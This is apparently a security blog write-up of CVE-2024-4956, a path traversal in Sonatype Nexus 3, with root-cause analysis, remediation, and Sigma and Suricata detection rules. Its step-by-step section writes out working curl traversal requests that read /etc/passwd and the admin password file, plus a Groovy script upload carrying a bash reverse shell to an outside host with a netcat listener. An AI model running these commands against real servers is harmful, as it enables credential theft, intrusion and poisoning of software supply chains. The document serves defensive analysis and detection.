Sonatype Nexus 3: Deconstructing CVE-2024-4956 Traversal to RCE

Overview & Threat Landscape: Sonatype Nexus 3 Traversal to RCE (CVE-2024-4956)#

Sonatype Nexus 3 CVE-2024-4956 allows unauthenticated arbitrary file reads via path traversal. Leaked admin passwords escalate to Groovy RCE.

In modern DevSecOps and continuous delivery (CI/CD) pipelines, Sonatype Nexus Repository Manager 3 acts as the central artifact repository anchoring enterprise software delivery. Supporting Maven, npm, PyPI, Docker registries, and Helm charts, Nexus holds proprietary intellectual property, build dependencies, and deployment credentials across thousands of enterprise engineering organizations worldwide.

In May 2024, security researcher Mikhail Klyuchnikov and Sonatype disclosed CVE-2024-4956 (CVSS 7.5, CWE-22: Path Traversal), an unauthenticated path traversal vulnerability affecting all versions of Nexus Repository 3 up to and including 3.68.0. Added rapidly to the CISA Known Exploited Vulnerabilities (KEV) catalog, the vulnerability allows remote, unauthenticated attackers to read arbitrary files from the server's underlying filesystem by submitting specially crafted HTTP GET requests with URL-encoded traversal sequences (%2F%2F%2F%2E%2E%2F).

While initially categorized as an information disclosure flaw, CVE-2024-4956 frequently serves as a direct bridgehead to Remote Code Execution (RCE). On default or freshly provisioned Nexus instances, the initial administrator password is generated during first boot and stored in plaintext at nexus-data/admin.password. By exploiting the path traversal to read this file, adversaries obtain administrative access to the Nexus REST API, upload weaponized Groovy script payloads via /service/rest/v1/script, and execute arbitrary system commands on the underlying server or container.

graph TD
    subgraph "CVE-2024-4956: ARBITRARY FILE READ TO CI/CD PIPELINE RCE"
        direction TB
        step_1["1. Unauthenticated Request: GET /%2F%2F%2F%2E%2E%2F.. with encoding"]
        step_2["2. Jetty Normalization Flaw: Bypasses static resource handler bounds"]
        step_3["3. Secret Theft: Leaks nexus-data/admin.password & /etc/shadow"]
        step_4["4. Admin API Authentication: Adversary logs in as administrative user"]
        step_5["5. Groovy Script Injection: POST /service/rest/v1/script with payload"]
        step_6["6. Host Takeover: Executes shell commands & poisons build artifacts"]
        step_1 --> step_2
        step_2 --> step_3
        step_3 --> step_4
        step_4 --> step_5
        step_5 --> step_6
    end

The Supply Chain Attack Multiplier#

Compromising an enterprise artifact repository is among the most devastating software supply chain attack vectors:

Zero-Touch Execution: The path traversal flaw requires no credentials, no user interaction, and no special HTTP headers—a single curl command retrieves target system files over standard HTTP/HTTPS ports (8081 / 443).
Artifact Poisoning: Once administrative control is achieved via Groovy scripting, an attacker can back-trojan production binaries, container images, and npm/Maven packages consumed by downstream build pipelines, silently distributing backdoors into production microservices.
Internal Cloud Secret Harvester: Beyond admin.password, the attacker can exfiltrate nexus-data/etc/nexus.properties (containing database passwords and encryption secrets), SSL certificates, and cloud environment variables from /proc/self/environ.

Warning

Unpatched Sonatype Nexus instances exposed to internal networks or the internet allow unauthenticated attackers to harvest admin credentials and achieve remote code execution. Security teams must immediately apply Nexus 3.68.1+ or deploy the emergency jetty.xml workaround.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.

Vulnerability & Attack Root-Cause Analysis: Jetty ResourceHandler Flaw#

To understand why CVE-2024-4956 succeeds, security engineers must analyze how Sonatype Nexus integrates the embedded Eclipse Jetty web server and handles static resource mapping.

1. Embedded Jetty and Static Resource Dispatching#

Nexus Repository Manager 3 utilizes an embedded Eclipse Jetty server to route HTTP requests between Apache Karaf OSGi bundles, REST API endpoints, and web UI static assets.

Static web assets (such as CSS, JavaScript, and web UI components) are served via Jetty's ResourceHandler. When a client requests a static file, Jetty's resource handler matches the URI against the configured base directory:

XML

<!-- etc/jetty/jetty.xml - Static resource handler configuration -->
<Set name="handler">
  <New id="Handlers" class="org.eclipse.jetty.server.handler.HandlerCollection">
    <Set name="handlers">
      <Array type="org.eclipse.jetty.server.Handler">
        <Item>
          <New id="Contexts" class="org.eclipse.jetty.server.handler.ContextHandlerCollection">
            <!-- Context Handlers for Web Applications -->
          </New>
        </Item>
        <Item>
          <New id="DefaultHandler" class="org.eclipse.jetty.server.handler.DefaultHandler"/>
        </Item>
      </Array>
    </Set>
  </New>
</Set>

2. The URI Normalization and Path Traversal Defect#

Under normal operations, Jetty normalizes incoming request URIs, resolving dot-dot sequences (..) and canonicalizing paths before passing them to the filesystem layer.

However, in affected versions of Nexus Repository 3 (versions <= 3.68.0), a critical flaw existed in how double slashes and URL-encoded characters were normalized prior to resource resolution:

When a client submits a sequence containing multiple forward slashes mixed with URL-encoded slashes (%2F) and dots (%2E):

PLAINTEXT

/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F

The initial URI parsing filter treats the request as an attempt to access a subpath of the root application context, bypassing standard servlet security constraints and authentication filters.
When the string reaches Jetty's underlying resource resolution engine, Jetty decodes %2F into / and %2E into ..
Because the multiple slashes bypass the path sanitization check, the consecutive ../ sequences successfully traverse out of the Nexus web installation directory and into the root of the host operating system.

3. The Official Sonatype Patch and Workaround#

Sonatype resolved the flaw in Nexus Repository 3.68.1 by sanitizing normalized URI paths in the web routing layer. For organizations unable to immediately upgrade, Sonatype provided an emergency workaround modifying etc/jetty/jetty.xml to strip request log handlers that triggered the vulnerable resource resolution path:

BASH

# Sonatype official mitigation: remove requestLog handler from etc/jetty/jetty.xml
# In <Set name="handler">, remove the following block:
# <Set name="requestLog">
#     <New id="RequestLog" class="org.eclipse.jetty.server.CustomRequestLog">
#     ...
#     </New>
# </Set>

Exploit Architecture: Traversal-to-Groovy Execution Pipeline#

The complete exploit chain illustrates how an unauthenticated path traversal escalates into code execution and supply chain compromise:

sequenceDiagram
    autonumber
    participant Attacker as Remote Adversary (Internet / LAN)
    participant Jetty as Nexus Jetty HTTP Server (Port 8081)
    participant FS as Host Filesystem (nexus-data & /etc)
    participant API as Nexus REST API (/service/rest/v1)
    participant Groovy as Nexus Groovy Script Engine

    Attacker->>Jetty: 1. GET /%2F%2F%2F%2E%2E%2F..%2Fnexus-data/admin.password
    Note over Jetty: Traversal bypasses servlet auth and resolves path
    Jetty->>FS: 2. Read physical file: nexus-data/admin.password
    FS-->>Jetty: 3. Return UUID secret (e.g., c92f4a1e-8b3d-47a6-9d21)
    Jetty-->>Attacker: 4. HTTP 200 OK: Exfiltrated administrator password
    Attacker->>API: 5. Authenticate: Basic Auth (admin:c92f4a1e-...)
    API-->>Attacker: 6. Session established with Administrator privileges
    Attacker->>API: 7. POST /service/rest/v1/script (Upload Groovy reverse shell)
    API->>Groovy: 8. Register script payload in internal database
    Attacker->>API: 9. POST /service/rest/v1/script/{name}/run
    Groovy->>FS: 10. Execute system command: java.lang.Runtime.getRuntime().exec()
    Groovy-->>Attacker: 11. Reverse shell connection established on port 4444
    Note over Attacker,FS: Full RCE inside Nexus host container

Attack Path Step-by-Step: Weaponization & RCE Reproduction#

We review the exact technical steps required to exploit CVE-2024-4956 and chain it into an administrative shell.

Step 1: Reconnaissance and Target Fingerprinting#

Adversaries locate exposed Sonatype Nexus Repository instances using Shodan or network scans searching for default web interfaces:

BASH

# Shodan search query for Sonatype Nexus Repository 3
http.title:"Nexus Repository Manager"
http.component:"Sonatype Nexus" port:8081

Querying the root endpoint reveals the running version:

BASH

# Probe target version
curl -s http://nexus.victim-corp.com:8081/ | grep -i "nexus"
# HTML meta tags and footer indicate: Sonatype Nexus Repository Manager 3.68.0-04

Step 2: Executing Path Traversal to Read System Files#

The attacker verifies path traversal by extracting the standard /etc/passwd file from the host Linux environment:

BASH

# Exploit CVE-2024-4956 to read /etc/passwd
curl -s -i "http://nexus.victim-corp.com:8081/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc/passwd"

The server responds with HTTP 200 OK and outputs the plaintext file:

PLAINTEXT

root:x:0:0:root:/root:/bin/bash
nexus:x:200:200:Nexus User:/opt/sonatype/nexus:/bin/false
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Step 3: Harvesting the Administrator Master Password#

In containerized deployments (such as the official sonatype/nexus3 Docker image) or standard installations, the initial administrator password resides at nexus-data/admin.password:

BASH

# Exfiltrate the default administrator password
curl -s "http://nexus.victim-corp.com:8081/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2Fnexus-data/admin.password"
# Output: c92f4a1e-8b3d-47a6-9d21-5f0e6a7b3c48

The extracted UUID string represents the plaintext password for the admin account.

Step 4: Chaining to Remote Code Execution via Groovy Script API#

With valid administrator credentials, the attacker weaponizes Nexus's built-in Groovy Scripting Engine:

Upload a Malicious Groovy Script: The attacker submits a JSON payload to the REST API creating a script named revshell:

BASH

# Register Groovy script payload via REST API
curl -s -X POST -u "admin:c92f4a1e-8b3d-47a6-9d21-5f0e6a7b3c48"   -H "Content-Type: application/json"   "http://nexus.victim-corp.com:8081/service/rest/v1/script"   -d '{
    "name": "revshell",
    "type": "groovy",
    "content": "String host="10.0.0.5"; int port=4444; Process p=new ProcessBuilder(["/bin/sh","-c","bash -i >& /dev/tcp/"+host+"/"+port+" 0>&1"]).redirectErrorStream(true).start();"
  }'

Trigger Script Execution: The attacker executes the registered script via POST:

BASH

# Execute the Groovy payload
curl -s -X POST -u "admin:c92f4a1e-8b3d-47a6-9d21-5f0e6a7b3c48"   -H "Content-Type: text/plain"   "http://nexus.victim-corp.com:8081/service/rest/v1/script/revshell/run"

Interactive Shell Obtained: The attacker receives an interactive shell on their listening netcat listener:

BASH

nc -lvnp 4444
Connection received on 192.168.1.50 49152
id
uid=200(nexus) gid=200(nexus) groups=200(nexus)
pwd
/opt/sonatype/nexus

From this shell, the adversary can dump private repositories, steal GPG signing keys, and manipulate artifacts.

Actionable Detection Engineering: Sigma Rule, WAF & Suricata#

Detecting CVE-2024-4956 requires monitoring inbound HTTP access logs for double-slash and URL-encoded traversal patterns, as well as tracking unexpected process creation under the Java JVM.

1. Production Sigma Rule: Sonatype Nexus Path Traversal Attempt#

The following production-ready Sigma rule monitors web server and reverse proxy access logs (Nginx, Apache, Envoy, ALB), alerting on incoming requests containing the distinctive %2F%2F%2F traversal signature:

YAML

title: Sonatype Nexus Repository Path Traversal (CVE-2024-4956)
id: 6b39f81a-4d22-4a81-b541-7e8c9e014956
status: production
description: |
    Detects exploitation attempts against Sonatype Nexus Repository 3 (CVE-2024-4956) 
    where an unauthenticated attacker submits URL-encoded path traversal sequences 
    to read sensitive configuration files or system credentials.
references:
    - https://support.sonatype.com/hc/en-us/articles/29416509323923
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4956
    - https://attack.mitre.org/techniques/T1190/

tags:
    - attack.initial_access
    - attack.credential_access
    - attack.t1190
    - attack.t1003.008
logsource:
    category: webserver
detection:
    selection_traversal:
        - cs-uri-query|contains:
              - '%2f%2f%2f'
              - '%2F%2F%2F'
              - '%2e%2e'
              - '%2E%2E'
        - cs-uri-stem|contains:
              - '%2f%2f%2f'
              - '%2F%2F%2F'
              - '%2e%2e'
              - '%2E%2E'
              - '/nexus-data/admin.password'
              - '/etc/passwd'
              - '/etc/shadow'
    condition: selection_traversal
fields:
    - c-ip
    - cs-method
    - cs-uri-stem
    - cs-uri-query
    - sc-status
falsepositives:
    - Highly unlikely in production environments.
level: critical

2. Network Intrusion Detection Signature (Suricata / Snort)#

Deploy this network inspection rule across edge firewalls and reverse proxies:

MARKDOWN

# Suricata Rule: Drop CVE-2024-4956 Nexus Path Traversal Payloads
drop http any any -> $NEXUS_SERVERS any (     msg:"FAST-CYBER-DEFENSE - Sonatype Nexus Repository Path Traversal Exploit (CVE-2024-4956)";     flow:established,to_server;     content:"%2F%2F%2F"; http_uri; nocase;     content:"%2E%2E"; http_uri; nocase; distance:0;     classtype:web-application-attack;     sid:202610141; rev:1;     metadata:cve CVE-2024-4956, confidence high; )

Executive Takeaway Table#

Attack Vector / Phase	Forensic Detection Signal	Primary Defensive Mitigation
Initial Path Traversal Probe	HTTP `GET` request containing `%2F%2F%2F` and `%2E%2E` URI encodings.	Upgrade Sonatype Nexus to version `>= 3.68.1`; apply WAF block rules.
Admin Secret Theft	Access log entry reading `nexus-data/admin.password` or `nexus.properties`.	Immediately change the default admin password; delete `admin.password` file post-setup.
REST API Script Registration	HTTP `POST` to `/service/rest/v1/script` containing Groovy system execution code.	Restrict Groovy script execution via `nexus.scripts.allowCreation=false`.
Host Remote Code Execution	Java JVM process (`java`) spawning child shell processes (`/bin/sh`, `/bin/bash`).	Confine container runtimes; enforce non-root execution and read-only filesystems.
Software Supply Chain Tampering	Unauthorized replacement or modification of release package hashes in repositories.	Enforce artifact signature verification (Sigstore / Cosign) and provenance checking.

Fast Cyber Defense Morning Takeaways#

Architecture Flaw Takeaway: CVE-2024-4956 highlights the critical danger of inconsistent URI normalization between web application frameworks and embedded servlet engines (Jetty). When static handlers fail to restrict directory boundaries, unauthenticated file reads become trivial.
Immediate Remediation: Upgrade all Sonatype Nexus 3 instances to 3.68.1 or later. If immediate upgrade is blocked, edit etc/jetty/jetty.xml to remove the vulnerable request handler. Ensure nexus.scripts.allowCreation=false is set in nexus.properties to disable the Groovy RCE vector.
Bridge to Evening Guide: Tonight in EDITION 2, we will publish the full companion defense guide: Hardening Sonatype Nexus: Blue Team Supply Chain Defense Guide, detailing automated patch workflows, Groovy scripting engine lockdown, WAF inspection rules, container privilege drops, and live incident response playbooks.

Authoritative References#

Sonatype Security Advisory: CVE-2024-4956 Nexus Repository 3 - Path Traversal — Sonatype Support
National Vulnerability Database (NVD): CVE-2024-4956 Detail: Sonatype Nexus Repository Manager Path Traversal — NIST NVD
Cybersecurity and Infrastructure Security Agency (CISA): Known Exploited Vulnerabilities Catalog (CVE-2024-4956) — CISA KEV
Sonatype Knowledgebase: Mitigations for CVE-2024-4956 Nexus Repository 3 Vulnerability — Sonatype Support
MITRE ATT&CK Framework: Technique T1190: Exploit Public-Facing Application — MITRE ATT&CK

Sonatype Nexus 3: Deconstructing CVE-2024-4956 Traversal to RCE

Overview & Threat Landscape: Sonatype Nexus 3 Traversal to RCE (CVE-2024-4956)#

The Supply Chain Attack Multiplier#

Vulnerability & Attack Root-Cause Analysis: Jetty ResourceHandler Flaw#

1. Embedded Jetty and Static Resource Dispatching#

2. The URI Normalization and Path Traversal Defect#

3. The Official Sonatype Patch and Workaround#

Exploit Architecture: Traversal-to-Groovy Execution Pipeline#

Attack Path Step-by-Step: Weaponization & RCE Reproduction#

Step 1: Reconnaissance and Target Fingerprinting#

Step 2: Executing Path Traversal to Read System Files#

Step 3: Harvesting the Administrator Master Password#

Step 4: Chaining to Remote Code Execution via Groovy Script API#

Actionable Detection Engineering: Sigma Rule, WAF & Suricata#

1. Production Sigma Rule: Sonatype Nexus Path Traversal Attempt#

2. Network Intrusion Detection Signature (Suricata / Snort)#

Executive Takeaway Table#

Fast Cyber Defense Morning Takeaways#

Authoritative References#

Comments

Post a Comment